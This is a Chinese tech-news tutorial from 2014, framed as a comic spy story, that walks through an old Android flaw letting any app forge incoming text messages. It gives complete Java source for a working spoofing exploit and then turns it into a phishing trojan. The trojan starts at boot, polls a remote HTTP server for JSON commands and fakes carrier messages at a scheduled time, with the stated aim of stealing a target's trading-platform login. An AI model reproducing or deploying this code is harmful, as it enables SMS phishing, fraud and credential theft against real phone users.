科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道网络安全从android短信漏洞到手机钓鱼木马

从android短信漏洞到手机钓鱼木马

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

老漏洞也是有价值的,移动平台的漏洞生命力是相当强的,原因是没有PC上那么完善的漏洞修补体系,安卓系统漏洞需要进行系统更新来修补,大部分时候是要重刷固件的,这一点普通用户根本办不到,大部分山寨厂家甚至根本不会推出更新固件。

作者:网络安全攻防研究室 来源:ZDNet安全频道 2014年1月28日

关键字: Android 安全漏洞 短信 木马病毒

  • 评论
  • 分享微博
  • 分享邮件

4d 5e 认识刘尼玛

在一个阳光明媚的早晨,小职员刘尼玛像往常一样来到了公司,从表面上看,他是个普通的上班族,每天照常挤地铁,加班,但实际上,他是某秘密组织派到公司卧底的商业间谍,代号叉叉圈圈。
刘尼玛不是高富帅,相反是典型的屌丝,他得到的情报大部分来源于老总的秘书兼公开情人杨尼美,挫丑穷的刘尼玛之所以能吸引到身材火辣的杨尼美,只是因 为他长了一张性感的香肠嘴,杨尼美最喜欢香肠嘴的男人,与刘尼玛有着同样特征的还有老总,只不过杨尼美喜欢的不止是他的香肠嘴,还有他手里大把的票子。
这家公司有个最奇怪的现象,普通职员刘尼玛和老总的秘书杨尼美当众调情,老总本人却毫不介意,甚至装作什么也不知道,这一点刘尼玛自己也相当诧异。
“或许老总只是把杨尼美当作玩物吧,对她并不是真的上心.” 刘尼玛一边想,一边把一本名叫《三只小猪的故事》的儿童读物装进纸袋子,交给快递员。”这是我给小侄女买的。” 刘尼玛告诉同事。其实这不是一本普通的书,书的某一页上有他传递给组织的最新信息。

0×00 一个安卓漏洞的原理
刘尼玛传来的信息说,他注意到老总经常在一个在线交易平台上进行操作,他需要一个短信木马来伪造该交易平台发送的短信,诱使老总访问钓鱼页面来获得账号和密码,现在我是刘尼玛的”Q博士”,我来帮他造这个木马:
我这里有一个2012年底发布的高危短信漏洞,虽然是老洞,但并不代表没有利用价值,因为移动平台的漏洞生命力是相当强的,原因是没有PC上那么完善 的漏洞修补体系,安卓系统漏洞需要进行系统更新来修补,大部分时候是要重刷固件的,这一点普通用户根本办不到,大部分山寨厂家甚至根本不会推出更新固件, 所以一个用户买到手机的时候系统是安卓2.3,五年以后他可能还在用这个版本.
该漏洞影响android4.2以下所有版本,在安卓系统的底层短信代码中,一个名为com.android.mms.transaction.SmsRecei
verService的服务的android:export属性被设置为了true,也就是说,外部程序可以任意调用这个服务。
在安卓系统接收到pdu短信代码之后, 会通过名为android.provider.Telephony.SMS_RECEIVED的action调用此服务,先将pdu短信解码,然后将之显 示在手机屏幕上,恶意攻击者可以在自己的程序中通过一个同名的action,不经过任何短信接收程序,直接伪造一条pdu短信调用此服务,具体过程如下图 所示:

photo1.jpg

  根据这个流程可以看出,这个漏洞发送的短信并不经过GSM网络,所以即使手机没有插sim卡,也照样可以收到短信,这让大部分的短信防火墙完全失效。

0×01 PDU短信的结构
  要利用此漏洞,我们首先要清楚手机短信的结构,短信在手机操作系统中并不是以我们平常见到的文本格式传送的,而是有特定的编码格 式,其中最为广泛使用的就是PDU,短信被编码成PDU串,然后转换成byte传输,这其中发送短信和接收短信的PDU串格式是不同的,由于这个漏洞直接 触发了接收流程,所以这里我们只介绍接收格式,发送格式请自行google.
接收短信的PDU结构如下:

SCA

PDU TYPE

OA

PID

DCS

SCTS

UDL

UD

短信中心地址

PDU类型(可选)

发送短信的手机地址

协议标志

一般为00

编码标准

短信接收的时间

短信内容的长度

短信内容

长度

短信中心类型(可选)

短信中心号码

长度

地址类型(可选)

发送号码

看着晕了吧,其实并不复杂,下面每部分分别叙述:
1 SCA短信中心地址
实际上中间的短信中心类型大部分时候是不用的,我们只需构造号码的长度+号码即可。
2 PDU TYPE短信类型
有七个值可选,一般写04代表普通sms短信.
3 OA 手机地址
格式同SCA。
4 PID 协议标志
所有运营商都支持00这个值,所以直接输入。
5 DCS 编码标准
一般常用的是两种,输入00代表7bit编码,只能传输英文,输入08代表UCS2编码,可以传输中文,但最多只能传送70个字,这就是为什么我们在发送长短信时常常被分割成几段的原因,这里我们理所当然要输入08.
6 SCTS 接收时间
这个时间所用的格式与我们平常所见的不同,是一种倒过来的格式,结构如下:

年+月+日+时+分+秒+offset
其中每一项都是反着位数写的,且年份为两位数,比如2013年11月20日21时38分51秒,按这个格式写就是:
31110212831523
最后的23是offset,代表你现在所处时区和格林威治时间所偏移的值,查阅资料得知北京时间的值就是23.
7和8没什么好解释的,就是短信的长度和内容.
之所以费了这一大段讲述PDU的结构,是因为不熟悉这个,后面的内容根本无法看懂。

ff d8 休息一下,刘尼玛乱入
这个漏洞在安卓4.2以下才有效,那到底刘尼玛老总的手机是不是在这个范围内?列位看官放心,这个刘尼玛早就打听到了,老总的手机是2012年8月份买 的,也就是在4.2发布之前,这个重要情报是在杨尼美坐在刘尼玛大腿上调情的时候,刘尼玛好不容易套出来的,当时的刘尼玛早已经”飞龙在天”,他一边咽着 口水一边拼命把它记了下来,屌丝情报员真不容易啊。


0×02 漏洞触发的代码实现
  光把短信编码成PDU串是不够的,短信的号码和内容实际上是以二进制的BCD码格式传输的,google已经提供了十进制数转 BCD码的函数networkPortionToCalledPartyBCD,我们可以直接把号码转换成BCD,至于短信内容,这个比较复杂,直接从网 上扒拉了一个现成的字符串转BCD函数str2Bcd.
新建一个工程,名为SMSAttack,将主要攻击代码写成一个名为smsservice的服务,该服务在AndroidManifesy.xml中注册名称为SMS_SERVICE.
代码如下:

01 /**
02 * project name:android伪造短信0day利用程序;
03 * class name:smsservice 短信伪造服务;
04 * version:0x04;
05 * update:2014-01-12;
06 * author:b41k3r
07 */
08 package com.baiker.SMSAttack;
09  
10 import java.io.*;
11 import java.util.*;
12 import android.app.*;
13 import android.content.*;
14 import android.os.*;
15 import android.telephony.PhoneNumberUtils;
16 import android.util.Log;
17 public class smsservice extends Service {
18 @Override
19 public IBinder onBind(Intent intent) {
20 return null;
21 }
22 @Override
23 public void onCreate() {
24 super.onCreate();
25 }
26 @Override
27 public void onDestroy() {
28 super.onDestroy();
29   }
30  
31 /**
32 * 在onStartCommand时发送短信
33 */
34 @Override
35   public int onStartCommand(Intent intent, int flags, int startId) {
36 for(int i=1;i<=10;i++) //设定短信发送次数为10次
37    {
38 createFakeSms(getApplicationContext(),”10086”,”移动就是垃圾”); //冒充10086发送短信
39    }
40 return START_NOT_STICKY;
41 }
001 /**
002 * 短信发送函数,直接以PDU编码形式通过名为android.provider.Telephony.SMS_RECE
003 * IVED的action调用系统的com.android.mms.transaction.SmsReceiverService服务
004 * 启动短信接收流程。
005 * @param context
006 * @param sender:伪造的发件人号码
007 * @param body:发送的内容
008 */
009 private static void createFakeSms(Context context, String sender, String body) {
010 byte[] pdu = null;
011 byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("0000000000"); //短信中心号码,调用networkPortionToCalledPartyBCD转换为BCD二进制码格式.
012 byte[] senderBytes = PhoneNumberUtils
013 .networkPortionToCalledPartyBCD(sender); //伪造的发信号码.
014 int lsmcs = scBytes.length; //短信中心的号码长度。
015 try {
016 ByteArrayOutputStream bo = new ByteArrayOutputStream();
017 bo.write(lsmcs);
018 bo.write(scBytes); //以上两项是SCA
019 bo.write(0x04); //PDU TYPE
020 bo.write((byte) sender.length()); //所伪造发件号码的长度。
021 bo.write(senderBytes); //以上两项是OA
022 bo.write(0x00); //PID
023 try {
024 byte[] bodybytes = EncodeUCS2(body,null); //用EncodeUCS2函数将短信内容编码为UCS2,短信的长度在函数中已经计算并加入body的头部.
025 bo.write(0x08); // 0x08代表UCS-2编码格式
026 //Log.e("编码结果",getBCDString());
027 bo.write(str2Bcd(getBCDString())); //以BCD格式写入当前时间
028 bo.write(bodybytes); //写入短信内容
029 } catch (Exception e) {
030 Log.e("编码失败", "" + e.getMessage());
031 }
032 pdu = bo.toByteArray(); //最后把结果转换成byte
033 } catch (IOException e) {
034 Log.e("Error", "" + e.getMessage());
035 }
036  
037 Intent intent = new Intent(); intent.setClassName("com.android.mms","com.android.mms.transaction.SmsReceiverService"); //准备调用com.android.mms.transaction.SmsReceiverService
038 intent.setAction("android.provider.Telephony.SMS_RECEIVED"); //action名称必须是 android.provider.Telephony.SMS_RECEIVED
039 intent.putExtra("pdus", new Object[] { pdu });
040 intent.putExtra("format", "3gpp");
041 context.startService(intent); //启动service,开启短信接收。
042 }
043  
044 /**
045 * 取当前日期并转换为BCD格式
046 * 输出String共14位,每两位为一时间单位,每个时间单位均为位数倒置,最后两位是offset:
047 * 年+月+日+时+分+秒+offset
048 * 只适用于offset取值23的情况
049 * @return
050 */
051 private static String getBCDString(){
052 String BCDDate="";
053 String YEAR,MONTH,DAY,HOUR,MINUTE,SECOND;
054 Calendar now = Calendar.getInstance();
055 YEAR=String.valueOf(now.get(Calendar.YEAR));
056 MONTH=String.valueOf(now.get(Calendar.MONTH)+1); //Calendar的月份是从0开始的,即0代表1月份,故此处要加1.
057 DAY=String.valueOf(now.get(Calendar.DAY_OF_MONTH));
058 HOUR=String.valueOf(now.get(Calendar.HOUR_OF_DAY));
059 MINUTE=String.valueOf(now.get(Calendar.MINUTE));
060 SECOND=String.valueOf(now.get(Calendar.SECOND));
061 BCDDate=FmtBCDDate(YEAR.substring(2))+FmtBCDDate(MONTH)+FmtBCDDate(DAY)+
062 FmtBCDDate(HOUR)+FmtBCDDate(MINUTE)+FmtBCDDate(SECOND)+"23"; //offset为23
063 return BCDDate;
064 }
065  
066 /**
067 * 日期格式化函数,一位数后面加零变两位数,两位数则颠倒位数
068 * @param s
069 * @return
070 */
071 private static String FmtBCDDate(String s){
072 if(ReverseInt(Integer.parseInt(s)).equals("0"))
073 {
074 return "00";
075 }
076 else
077 {
078 if(ReverseInt(Integer.parseInt(s)).length()==1)
079 return ReverseInt(Integer.parseInt(s))+"0";
080 else
081 return ReverseInt(Integer.parseInt(s));
082 }
083 }
084  
085 /**
086 * 整数位数颠倒函数 ,输出String.
087 * @param i
088 * @return
089 */
090 private static String ReverseInt(int i){
091 StringBuffer bs = new StringBuffer(String.valueOf(i));
092 return bs.reverse().toString();
093 }
094  
095 /**
096 * String转BCD编码函数,来自网络.
097 * @param asc
098 * @return
099 */
100 private static byte[] str2Bcd(String asc) {
101 int len = asc.length();
102 int mod = len % 2;
103 if (mod != 0) {
104 asc = "0" + asc;
105 len = asc.length();
106 }
107 byte abt[] = new byte[len];
108 if (len >= 2) {
109 len = len / 2;
110 }
111 byte bbt[] = new byte[len];
112 abt = asc.getBytes();
113 int j, k;
114 for (int p = 0; p < asc.length()/2; p++) {
115 if ( (abt[2 * p] >= '0') && (abt[2 * p] <= '9')) {
116 j = abt[2 * p] - '0';
117 } else if ( (abt[2 * p] >= 'a') && (abt[2 * p] <= 'z')) {
118 j = abt[2 * p] - 'a' + 0x0a;
119 } else {
120 j = abt[2 * p] - 'A' + 0x0a;
121 }
122 if ( (abt[2 * p + 1] >= '0') && (abt[2 * p + 1] <= '9')) {
123 k = abt[2 * p + 1] - '0';
124 } else if ( (abt[2 * p + 1] >= 'a') && (abt[2 * p + 1] <= 'z')) {
125 k = abt[2 * p + 1] - 'a' + 0x0a;
126 }else {
127 k = abt[2 * p + 1] - 'A' + 0x0a;
128 }
129 int a = (j << 4) + k;
130 byte b = (byte) a;
131 bbt[p] = b;
132 }
133 return bbt;
134 }
135  
136 /**
137 * 以UCS-2格式编码String,用于发送汉字,使用此格式编码最多可发送70个字。
138 * @param message
139 * @param header
140 * @return
141 * @throws UnsupportedEncodingException
142 */
143 private static byte[] EncodeUCS2(String message, byte[] header)
144 throws UnsupportedEncodingException {
145 byte[] userData, textPart;
146 textPart = message.getBytes("UTF-16BE");
147  
148 if (header != null) {
149 userData = new byte[header.length + textPart.length + 1];
150 userData[0] = (byte)header.length;
151 System.arraycopy(header, 0, userData, 1, header.length);
152 System.arraycopy(textPart, 0, userData, header.length + 1, textPart.length);
153 }
154 else {
155 userData = textPart;
156 }
157 byte[] ret = new byte[userData.length+1];
158 ret[0] = (byte) (userData.length & 0xff );
159 System.arraycopy(userData, 0, ret, 1, userData.length);
160 return ret;
161 }
162 }
163  
164 在AndroidManifest.xml中注册此服务:
165 <service android:name=".smsservice">
166 <intent-filter>
167 <action android:name="com.baiker.SMS_SERVICE" />
168 <category android:name="android.intent.category.default" />
169 </intent-filter>
170 </service>
171 在程序默认的Activity中启动此服务:
172 @Override
173 protected void onCreate(Bundle savedInstanceState) {
174 super.onCreate(savedInstanceState);
175 setContentView(R.layout.activity_main);
176 startService(new Intent("com.baiker.SMS_SERVICE"));
177 }

在手机上调试,程序启动后,收到10条冒充移动公司发来的短信:

photo2.jpg

注意我这里测试用的手机上并没有插sim卡,但仍然成功收到短信。

0×03 从Exploit到完善的木马
上面这个程序虽然实现了伪造短信的过程,但充其量只能算是个Exploit,要把它改造成一个可用的钓鱼木马,我们还有很多工作要做.
安卓平台的木马程序和PC上的有很大的不同,其原因主要有以下两个方面:
一是网络的问题,手机和平板不可能时时都有稳定的网络连接,会经常在不同的wifi和gsm网络之间切换,而且有时网络会被人为关闭,所以安卓木马注定是被动连接的,且不能使用socket,只能基于http协议来反向连接.
二是流量的问题,安卓手机上都有流量监控软件,当处在gsm网络时,控制端不可能发送大量的数据包,这样会引发流量报警的.
基于以上考虑,我们需要设计一个流程来打造我们的木马:
首先我们需要注册一个新的服务smsdaemon,在AndroidManifest.xml中的注册名称为SMS_DAEMON,并把它设置为开机 自动启动,当启动后,开始探测网络连接,如果有网络可用,则连接远程控制端的http服务器,获取控制指令,触发SMS_SERVICE服务发送短信,如 果没有网络可用,则在后台等待,注册网络状态监听广播BootBroadcastReceiver,当网络可用时再连接服务器。
以上方法有个问题,每当网络状态改变一次, SMS_DAEMON就会从服务器获取指令触发短信接收,因为手机的网络状态经常改变,所以短信有可能被重复发送很多次,所以接下来我们要给 SMS_SERVICE注册一个AlarmReceiver广播,在服务器上加入时间控制指令,SMS_SERVICE接到SMS_DAEMON发来的控 制指令,会一直等待,直到到达指令中指定的触发时间才发送短信,具体流程如下图所示:

photo3.jpg

然后是流量的问题,一般来说,手机客户端从http服务器获取数据有两种方式:xml和json,显然后者要省流量的多,所以我们需要先搭建一个web服务器,然后在上面构建一个json控制页面。
Web服务器地球人都知道如何搭建,我在这里不再详述,只构造json的指令结构:

number: string 伪造的短信发件人号码
message: string 短信内容.
count: int 短信的发送次数.
issend: bool 是否发送短信.
date: string 短信的触发时间.

一条完整的控制指令应该是下面的样子:

{“command”:{“number”:”10086″,”message”:”移动不是垃圾”,”count”:1,”issend”:true,“date”:”2014_01_10_00_00_00″}}

我们还要在SMS_DAEMON中编写代码,让它在获取指令后将其存入SharedPreferences中,调用SMS_SERVICE后再由其从中读取.

现在万事具备,我们来看如何用代码实现:

注册一个BootBroadcastReceiver,将SMS_DAEMON设为开机启动:

01 package com.baiker.SMSAttack;
02  
03 import android.content.BroadcastReceiver;
04 import android.content.Context;
05 import android.content.Intent;
06 public class BootBroadcastReceiver extends BroadcastReceiver {
07 static final String action_boot="android.intent.action.BOOT_COMPLETED";
08 @Override
09 public void onReceive(Context context, Intent intent) {
10 if (intent.getAction().equals(action_boot)){
11 Intent smssrv = new Intent();
12 smssrv.setAction("com.baiker.SMS_DAEMON");
13 context.startService(smssrv);
14 }
15 }
16 }

再写一个AlarmReceiver来监听时间:

01 /**
02 * project name:android伪造短信0day利用程序;
03 * class name:AlarmReceiver 闹钟广播监听类
04 * version:0x01;
05 * update time:2013-12-22;
06 * author:b41k3r
07 */
08 package com.baiker.SMSAttack;
09  
10 import android.content.BroadcastReceiver;
11 import android.content.Context;
12 import android.content.Intent;
13 public class AlarmReceiver extends BroadcastReceiver {
14 @Override
15 public void onReceive(Context context, Intent intent) {
16 Intent smssrv = new Intent();
17 smssrv.setAction("com.baiker.SMS_SERVICE");
18 context.startService(smssrv); //启动短信伪造后台服务
19 }
20 }

将所有的服务和广播在AndroidManifest.xml中注册,最终代码如下:
[AndroidManifest.xml]

01 <?xml version="1.0" encoding="utf-8"?>
02 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
03 package="com.baiker.SMSAttack"
04 android:versionCode="1"
05 android:versionName="1.0" >
06 <uses-sdk android:minSdkVersion="8"/>
07 <application
08 android:allowBackup="true"
09 android:icon="@drawable/ic_launcher"
10 android:label="@string/app_name"
11 android:theme="@style/AppTheme" >
12 <activity
13 android:name="com.baiker.SMSAttack.MainActivity"
14 android:label="@string/app_name" >
15 <intent-filter>
16 <action android:name="android.intent.action.MAIN" />
17 <category android:name="android.intent.category.LAUNCHER" />
18 </intent-filter>
19 </activity>
20 <service android:name=".smsservice">
21 <intent-filter>
22 <action android:name="com.baiker.SMS_SERVICE" />
23 <category android:name="android.intent.category.default" />
24 </intent-filter>
25 </service>
26 <service android:name=".smsdaemon">
27 <intent-filter>
28 <action android:name="com.baiker.SMS_DAEMON" />
29 <category android:name="android.intent.category.default" />
30 </intent-filter>
31 </service>
32 <receiver android:name=".AlarmReceiver" android:process=".smsalarm"/>
33 <receiver
34 android:name=".BootBroadcastReceiver"
35 android:label="@string/app_name" >
36 <intent-filter>
37 <action android:name="android.intent.action.BOOT_COMPLETED" />
38 <category android:name="android.intent.category.DEFAULT"/>
39 </intent-filter>
40 </receiver>
41 </application>
42 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
43 <uses-permission android:name="android.permission.INTERNET"/>
44 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
45 </manifest>

SMS_DAEMON的代码如下:

001 /**
002 * project name:android伪造短信0day利用程序;
003 * class name:smsdaemon 远程控制监听服务;
004 * version:0x02;
005 * update time:2014-01-10;
006 * author:b41k3r
007 */
008  
009 package com.baiker.SMSAttack;
010  
011 import java.io.*;
012 import java.util.*;
013 import android.os.*;
014 import android.util.Log;
015 import android.app.*;
016 import android.content.*;
017 import android.content.SharedPreferences.Editor;
018 import android.net.*;
019 import android.net.NetworkInfo.State;
020 import org.apache.http.*;
021 import org.apache.http.client.*;
022 import org.apache.http.client.methods.HttpGet;
023 import org.apache.http.impl.client.DefaultHttpClient;
024 import org.apache.http.util.EntityUtils;
025 import org.json.*;
026 public class smsdaemon extends Service {
027   private String SvrAddress="http://192.168.0.10/test.html";
028 private ConnectivityManager connectivityManager;
029 private JSONObject jsonObject = null;
030 @Override
031 public IBinder onBind(Intent intent) {
032 return null;
033 }
034 @Override
035 public void onCreate() {
036 super.onCreate();
037 IntentFilter mFilter = new IntentFilter();
038 mFilter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
039 registerReceiver(mReceiver, mFilter); //注册网络状态监听广播
040 }
041 @Override
042 public void onDestroy() {
043 super.onDestroy();
044 unregisterReceiver(mReceiver);
045 }
046 @Override
047 public int onStartCommand(Intent intent, int flags, int startId) {
048 return START_NOT_STICKY;
049 }
050 /**
051 * 连接远程控制服务器读取json格式控制字符串
052 * @param URL
053 * @return
054 */
055 private String getControlCommand(String URL){
056 HttpGet request=new HttpGet(URL);
057 HttpClient hc=new DefaultHttpClient();
058 try {
059 HttpResponse hr=hc.execute(request);
060 if(hr.getStatusLine().getStatusCode()==HttpStatus.SC_OK)
061 {
062 String result=EntityUtils.toString(hr.getEntity(),"GBK");
063 return result;
064 }
065 else
066 {
067 return "";
068 }
069 } catch (ClientProtocolException e) {
070 Log.e("Error", "" + e.getMessage());
071 } catch (IOException e) {
072 Log.e("Error", "" + e.getMessage());
073 }
074 return "";
075 }
076 /**
077 * 网络状态监听广播
078 */
079 private BroadcastReceiver mReceiver = new BroadcastReceiver() {
080 @Override
081 public void onReceive(Context context, Intent intent) {
082 State wifiState = null;
083 State mobileState = null;
084 connectivityManager = (ConnectivityManager)context.getSystemService(Context.CONNECTIVITY_SERVICE);
085 wifiState = connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI).getState();
086 mobileState = connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE).getState();
087  
088 if (wifiState != null && State.CONNECTED == wifiState){ //仅测试只有wifi网络可用时的情况,但其他网络状况是代码相同
089 String RequestStr=getControlCommand(SvrAddress); //json格式控制命令的URL
090 if(!RequestStr.equals(""))
091 {
092 try {
093 jsonObject = new JSONObject(RequestStr).getJSONObject("command");
094 SharedPreferences sp = getSharedPreferences("command", MODE_PRIVATE);
095             //将json控制命令的各项值分别存入SharedPreferences
096 Editor editor = sp.edit();
097 editor.putString("number", jsonObject.getString("number"));
098 editor.putString("message", jsonObject.getString("message"));
099 editor.putInt("count", jsonObject.getInt("count"));
100 editor.putBoolean("issend", jsonObject.getBoolean("issend"));
101 editor.putString("date", jsonObject.getString("date"));
102 editor.commit();
103 String date = jsonObject.getString("date");
104 Calendar c=Calendar.getInstance();
105 c.set(Calendar.YEAR,Integer.parseInt(date.split("_")[0]));
106 c.set(Calendar.MONTH,Integer.parseInt(date.split("_")[1])-1); //Calendar的月份格式是从0开始的,故要减去1
107 c.set(Calendar.DAY_OF_MONTH, Integer.parseInt(date.split("_")[2]));
108 c.set(Calendar.HOUR_OF_DAY, Integer.parseInt(date.split("_")[3]));
109 c.set(Calendar.MINUTE, Integer.parseInt(date.split("_")[4]));
110 c.set(Calendar.SECOND, Integer.parseInt(date.split("_")[5]));
111 //将json中的时间字符转换为Calendar格式
112 Calendar now = Calendar.getInstance();
113 int result=c.compareTo(now); //比较json命令中的时间和当前时间,如果晚于当前时间,则启动AlarmManager开始计时
114 if(result>0)
115 {
116 Intent intentalarm=new Intent(context,AlarmReceiver.class);
117 PendingIntent pi=PendingIntent.getBroadcast(context, 0, intentalarm,0);
118 AlarmManager am=(AlarmManager)getSystemService(ALARM_SERVICE);
119 am.set(AlarmManager.RTC_WAKEUP, c.getTimeInMillis(), pi);
120 //am.set(AlarmManager.RTC_WAKEUP, System.currentTimeMillis()+5*1000,pi);
121 }
122 } catch (JSONException e) {
123 Log.e("Error", "" + e.getMessage());
124 }
125 }
126 }
127 else if (wifiState != null && mobileState != null && State.CONNECTED != wifiState && State.CONNECTED == mobileState)
128 { //wifi与gprs均可用
129 }
130 else if (wifiState != null && mobileState != null && State.CONNECTED != wifiState && State.CONNECTED != mobileState)
131 { //仅有gprs可用
132 }
133 }
134 };
135 }

  我是屌丝,没有域名和固定ip,所以只在局域网测试了wifi网络的情况,如果要测试gsm网络,只需把SvrAddress改成公网的域名或固定ip地址,改一下上面的if语句即可.

现在修改SMS_SERVICE的onStartCommand,让服务在启动时自动从SharedPrefeRences中读取控制参数,然后发送短信:

01 /**
02 * 在onStartCommand时读取SharedPreferences
03 * number为伪造的短信发送号码 ,message是发送的内容,count为发送次数,issend为true时才启动发送进程。
04 */
05 @Override
06 public int onStartCommand(Intent intent, int flags, int startId) {
07 SharedPreferences sp = getSharedPreferences("command", MODE_PRIVATE);
08 String number = sp.getString("number", "");
09 String message = sp.getString("message", "");
10 boolean issend = sp.getBoolean("issend", false);
11 int count = sp.getInt("count", 9);
12 if(issend)
13 {
14 for(int i=1;i<=count;i++)
15 {
16 createFakeSms(getApplicationContext(),number,message); //发送短信
17 }
18 }
19 return START_NOT_STICKY;
20   }

 

将程序默认的Avtivity中启动的服务改为SMS_DAEMON:

1 protected void onCreate(Bundle savedInstanceState) {
2 super.onCreate(savedInstanceState);
3 setContentView(R.layout.activity_main);
4 startService(new Intent("com.baiker.SMS_DAEMON"));
5 }

0×04 运行结果
代码编写完成后,编译并上传到手机调试,在控制指令指定的时间,手机成功收到了短信:

photo4.jpg

90 90 刘尼玛现在还不能使用它
木马是编写完成了,但还不能投入使用,因为我们要把它注入到一个正常的程序中,欺骗刘尼玛的老总安装它,但那是另一个故事了……
预知后事如何,且听下回分解.

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章